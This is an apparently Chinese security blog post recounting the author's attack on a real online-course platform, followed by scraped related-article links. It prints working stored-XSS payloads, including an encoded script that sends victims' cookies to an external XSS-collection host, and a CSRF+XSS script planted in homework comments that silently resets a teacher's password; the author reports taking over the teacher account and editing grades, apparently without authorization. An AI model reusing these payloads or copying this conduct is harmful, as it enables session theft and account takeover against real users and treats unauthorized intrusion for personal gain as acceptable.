本文首发于“合天智汇”公众号,作者: 影子
各位大师傅,第一次在合天发文章,请多多关照
今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了
,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)
  • 0x01
这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)
  • 0x02
这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,
先看一下第一个基本没鸟用的xss
用户个人资料处
更改姓名
Payload为<script>alert()</script>
(这个地方字数有限制,最长为24个字符)
保存,刷新页面
成功显示弹窗 经测试
1.学号
2.身份
3.学校
4.姓名处均存在存储型xss并能够弹窗
确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了
  • 0x03
发布新话题
测试发现
将上面全部代码进行复制
在下面编辑框中进行黏贴,直接解析为html
内容处可以执行html代码
测试发布时
发布后访问此话题
成功xss
进行下一步测试
进行获取cookies
在<script src=””>
这个payload无法执行
不知道是服务器问题还是什么
换用其他payload
in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};"

output = ""

for c in in_str:
output += "&#" + str(ord(c)) print("<svg><script>eval("" + output + "")</script>")
payload为
在进行测试
<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>
 
 
看看xss平台
 
 
成功获取
也可以使用其他的利用方法
 
跳转钓鱼网站
在页面内这是html表单进行钓鱼
或者js挂马等等
严重程度
中危
But。。
部分Cookeis设置了http-only,拿不到老师的全部cookie。
  • 0x04
继续测试
更改密码处没有验证原先密码
根据前面找到的xss构建payload
 
```
<script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script>
<script> function loginSubmit() {
$.ajax({
url: "https://www.xxxxxxxx.com/UserApi/updatePassword",
type: "post",
data: {"newpassword": ""},
dataType: "json",
success: function (data) {
if (data.status == "") { } else { }
},
});
}
loginSubmit()
</script>
```
那么要去受害者要有兴趣去访问这个payload
作业处,受害者(例如老师,获取更大权限)老师要去更改作业
找到在作业留言处存在存储型xss
在此处插入payload
查看效果
现在密码为123456789
登录正常
将payload的密码改为123456789.
我用的手机端(pc端似乎要抓包,懒)
 
提交成功
教师端进入批阅
老师的管理界面
教师端进入批阅
抓包看到
访问时,直接更新了密码
退出
密码为12345679时错误
密码为123456789.时成功
更改密码处存在csrf
联想到刚刚的存储型xss,
一个csrf+xss的组合拳漏洞
  • 0x05
最后到底有没有拿到老师权限呢
 
 
最高星星数6个
怕被发现。
真带劲
哈哈
搞完手工,打包提交,以上漏洞至今为止已修复。
声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。
实验推荐
DoraBox之CSRF
https://www.hetianlab.com/expc.do?ec=ECID6f07-3348-4d8f-90a1-2b399f28378b
(通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。)
 

Csrf+Xss组合拳的更多相关文章

  1. CRLF CSRF XSS

    http://baike.baidu.com/link?url=BXWN2I6J23thrrm6JoEnAYvmNqp83llyaydaj5RYkq--tuJKSFuMuDMIoTPnKjthRUm3 ...

  2. 前端安全类——CSRF/XSS

    CSRF 概念:跨站请求伪造 全称:Cross-site request forgery 攻击原理:网站中某一个接口存在漏洞,用户在注册网站登录过 防御措施: 1.Token验证:引诱链接只会自动携带 ...

  3. csrf xss sql注入

    1.输入框 sql注入 测试直接在输入框输入1' ,看sql会不会拼接出错 xss攻击 csrf攻击 测试直接在输入框输入 <script>alert(123)</script> ...

  4. Django csrf,xss,sql注入

    一.csrf跨站请求伪造(Cross-site request forgery) CSRF的攻击原理:简单说就是利用了高权限帐号(如管理员)的登录状态或者授权状态去做一些后台操作,但实际这些状态并没有 ...

  5. XSS CSRF

    XSS CSRF XSS 参考 https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC ...

  6. CSRF 跨站请求伪造学习笔记

    参考文章: 漏洞挖掘之CSRF CSRF花式绕过Referer技巧 What-是什么 CSRF(Cross-site request forgery)跨站请求伪造.攻击者通过构造特殊链接或者页面,盗用 ...

  7. 关于CSRF的那点事儿

    0x01 CSRF简介     CSRF,也称XSRF,即跨站请求伪造攻击,与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击. 0x02 CSRF原理 ...

  8. Django学习---CSRF

    CSRF xss攻击:假设我们网站的评论里面允许用户写js的时候,每个人就会看到页面会执行这个js代码,有的是alert,不停的跳出弹框.这个还不算严重的,关键是如果js代码运行的结果不显示在页面上, ...

  9. XSS之防御与绕过

    很久之前的随笔讲过XSS的编码绕过的一些内容 本次侧重整理一下常见的防御思路,顺便补充一些针对性的绕过思路以及关于XSS个人想到的一些有趣的事情 开篇之前,先看一下XSS介绍(包括mXSS.uXSS. ...

随机推荐

  1. 模型评测之IoU,mAP,ROC,AUC

    IOU 在目标检测算法中,交并比Intersection-over-Union,IoU是一个流行的评测方式,是指产生的候选框candidate bound与原标记框ground truth bound ...

  2. Mysql 查找表中的多组前n大元素

    博客已搬家,更多内容查看https://liangyongrui.github.io/ Mysql 查找表中的多组前n大元素 如果时单组很简单,只需要排序后去前n个就行了,但是多组排序似乎就不是那么好 ...

  3. Spring Boot 2 实战:常用读取配置的方式

    1. 前言 在Spring Boot项目中我们经常需要读取application.yml配置文件的自定义配置,今天就来罗列一下从yaml读取配置文件的一些常用手段和方法. 2. 使用@Value注解 ...

  4. DVWA学习记录 PartⅧ

    Weak Session IDs 1. 题目 用户访问服务器的时候,为了区别多个用户,服务器都会给每一个用户分配一个 session id .用户拿到 session id 后就会保存到 cookie ...

  5. python 爬虫写入txt:UnicodeEncodeError: ‘gbk’ codec can’t encode character 错误的解决办法

    原链接:https://blog.csdn.net/vito21/article/details/53490435 今天爬一个网站的内容,在写入TXT文件时,某些页面总是报UnicodeEncodeE ...

  6. java 面向对象(三十七):反射(一) 反射的概述

    1.本章的主要内容 2.关于反射的理解 Reflection(反射)是被视为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属 ...

  7. 机器学习实战基础(十二):sklearn中的数据预处理和特征工程(五) 数据预处理 Preprocessing & Impute 之 处理分类特征:处理连续性特征 二值化与分段

    处理连续性特征 二值化与分段 sklearn.preprocessing.Binarizer根据阈值将数据二值化(将特征值设置为0或1),用于处理连续型变量.大于阈值的值映射为1,而小于或等于阈值的值 ...

  8. Python之爬虫(十四) Scrapy框架的架构和原理

    这一篇文章主要是为了对scrapy框架的工作流程以及各个组件功能的介绍 Scrapy目前已经可以很好的在python3上运行Scrapy使用了Twisted作为框架,Twisted有些特殊的地方是它是 ...

  9. Spring详细基本开发流程

    LOGO 文章已托管到GitHub,大家可以去GitHub查看阅读,欢迎老板们前来Star! 搜索关注微信公众号 码出Offer 领取各种学习资料! 一.Spring概述 1.1 Web开发中的一些问 ...

  10. AI开发利器:HiLens Studio技术解读

    摘要:传统的AI应用开发和部署意味着高成本和高门槛,借助HiLens Studio,AI应用开发和部署仅需要三步. 曾几何时, 在我们青春年少时, 当我们看到某篇AI的技术文章时, 心中总不免想要在一 ...